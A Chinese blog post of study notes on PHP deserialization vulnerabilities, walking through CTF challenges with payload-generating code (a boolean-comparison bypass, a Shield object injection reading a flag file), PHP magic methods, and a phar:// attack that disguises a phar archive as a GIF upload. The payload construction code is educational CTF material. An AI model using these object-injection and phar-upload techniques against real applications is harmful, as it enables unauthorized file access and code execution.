反序列化学习

反序列化学习

我懒得自己写了,基本都是某个表哥写的,表哥的文章在最下面,部分我进行了自己的分析和理解。

serialize() 把变量和它们的值编码成文本形式

unserialize() 恢复原先变量

反序列化漏洞

unserialize() 的参数可控时,通过传入一个特意构造好的的序列化字符串,从而控制对象内部的变量甚至是函数以进行非法操作。

某个反序列化demo

<?php
	
	class Point
	{
		public $x = 1;
		public $y = 2;
		public function show()
		{
			echo ('point is ('.$this->x.','.$this->y.')'."<br>");
		}
	}
	
	$a = array();
	$a['id'] = '1';
	$a['name'] = 'user';
	$a['pwd'] = '123';
	var_dump($a);
	echo ("<br>");
	$b = serialize($a);
	var_dump($b);
	$c = unserialize($b);
	echo ('<br>');
	var_dump($c);
	
	$p1 = @new Point();
	echo ('<br>');
	$p1->show();
	echo  @serialize(p1);
	
?>

运行结果如下:

array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
string(65) "a:3:{s:2:"id";s:1:"1";s:4:"name";s:4:"user";s:3:"pwd";s:3:"123";}"
array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
point is (1,2)
s:2:"p1";

0x01. 利用普通变量或方法

题目1

实验吧有一题如下:http://ctf5.shiyanbar.com/10/web1/index.php

如图:

在这里插入图片描述

查看源码如图:得到提示,需要提交一个字符串给username,使其进过md5加密之后与0比较的结果为真,可以选取字符串QNKCDZO,具体分析可以参考我这篇文章中https://www.cnblogs.com/v01cano/p/11890184.html的md5 collision题。

在这里插入图片描述

传入字符串QNKCDZO给username后得到如下提示:

在这里插入图片描述

接着访问/user.php?fame=hjkleffifer,查看源码得到如下提示:

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

根据提示,成也布尔,败也布尔。布尔类型的true跟任意字符串在‘==’下成立,根据这个我们就构造了生成payload的php代码如下:

<?php
    $a=array('user'=>true,'pass'=>true);
    $b=serialize($a);
    var_dump($b);
?>

直接运行此代码,即可生成如下payload: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

我们直接将payload传递给password即可成功获取flag:

在这里插入图片描述

题目2

首先利用题目的任意文件读取漏洞获取index.php和showimg.php的源码:

index.php源码如下:

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

showimg.php源码如下:

<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

由于index.php中包含了shield.php,所以此处也读取该文件:

shield.php源码如下:

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

在shield.php中得到提示flag is in pctf.php,但是在showimg.php中对pctf有过滤,于是只能从index.php下手,于是利用序列化漏洞,构造了如下payload生成代码:

<?php 
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
	$x = new Shield('pctf.php');
    echo serialize($x);
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

运行结果如下:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

直接将该payload传递给class参数,即可得到flag:

在这里插入图片描述

0x02. PHP: Magic function

除利用普通变量或方法外还可以利用Magic function(魔术方法)进行反序列化攻击,有关魔术方法:http://php.net/manual/zh/language.oop5.magic.php

__construct():当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用

__destruct():对象被销毁时会自动调用

__sleep(): serialize()时会先被调用

__wakeup():unserialize()时会先被调用

其他

__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

__construct()__destruct()

<?php 

class demo
{
	public $test_v1 = 'function';

	function __construct()
	{
		echo $this->test_v1."<br>";
	}

	function __destruct()
	{
		echo $this->test_v1."<br>";
		
	}

}

	$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
	unserialize($s);
	
	$demo2 = new demo();

?>

输出:
phpinfo()
function
function

__sleep()__wakeup()

<?php 

class demo
{
	public $test_v1 = 'function';

	function __sleep()
	{
		echo "serialize<br>";
	}

	function __wakeup()
	{
		echo "unserialize<br>";
	}

}

	$s = serialize(new demo());
	$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
	unserialize($s);
	
	//$demo2 = new demo();

?>

输出:
serialize
unserialize

0x03. phar文件通过phar://伪协议进行反序列化

因为phar文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

受影响文件系统函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

假设file参数可控,传入phar://demo.phar

demo.php

<?php
    class demo {
    	public $demo_v='NULL';
    	public function __destruct()
    	{
    		echo $this->demo_v."<br>";
    	}
    }

    $file = 'phar://demo.phar';
    file_get_contents($file);

?>

php脚本构造demo.phar利用以上代码的demo类输出其他字符串

payload.php

<?php
    class demo {
    	public $demo_v='phpinfo()';
    	public function __destruct()
    	{
    		echo $this->demo_v."<br>";
    	}
    }

    $phar = new Phar("demo.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $obj = new demo();
    $phar->setMetadata($obj);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

Example:

先是一个文件上传,在flag.php中有以下内容

$recieve = $_GET['filename'];

class flag{
	var $file;
	private $flag = '****';

	function __destruct(){
		if ($this->file == 'phar'){
			echo $this->flag;
		}
	}
}

file_get_contents($recieve);

本地生成phar文件伪装gif,再phar伪协议触发php反序列化

<?php
class flag{
        var $file = 'phar';
    }
    $a = serialize(new flag());
    var_dump($a);
    $b = unserialize($a);
    $p = new Phar('./pp.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('pp.phar', 'pp.gif')
?>

上传访问flag.php?filename=phar://upload_file/pp.gif得到flag

0x03有点没搞懂,下次仔细看看,最近搞免杀马,顺便看到了这个而已。

reference:

http://j0k3r.top/2018/10/23/php-unserialize/#反序列化漏洞

原文地址:https://www.cnblogs.com/v01cano/p/11891941.html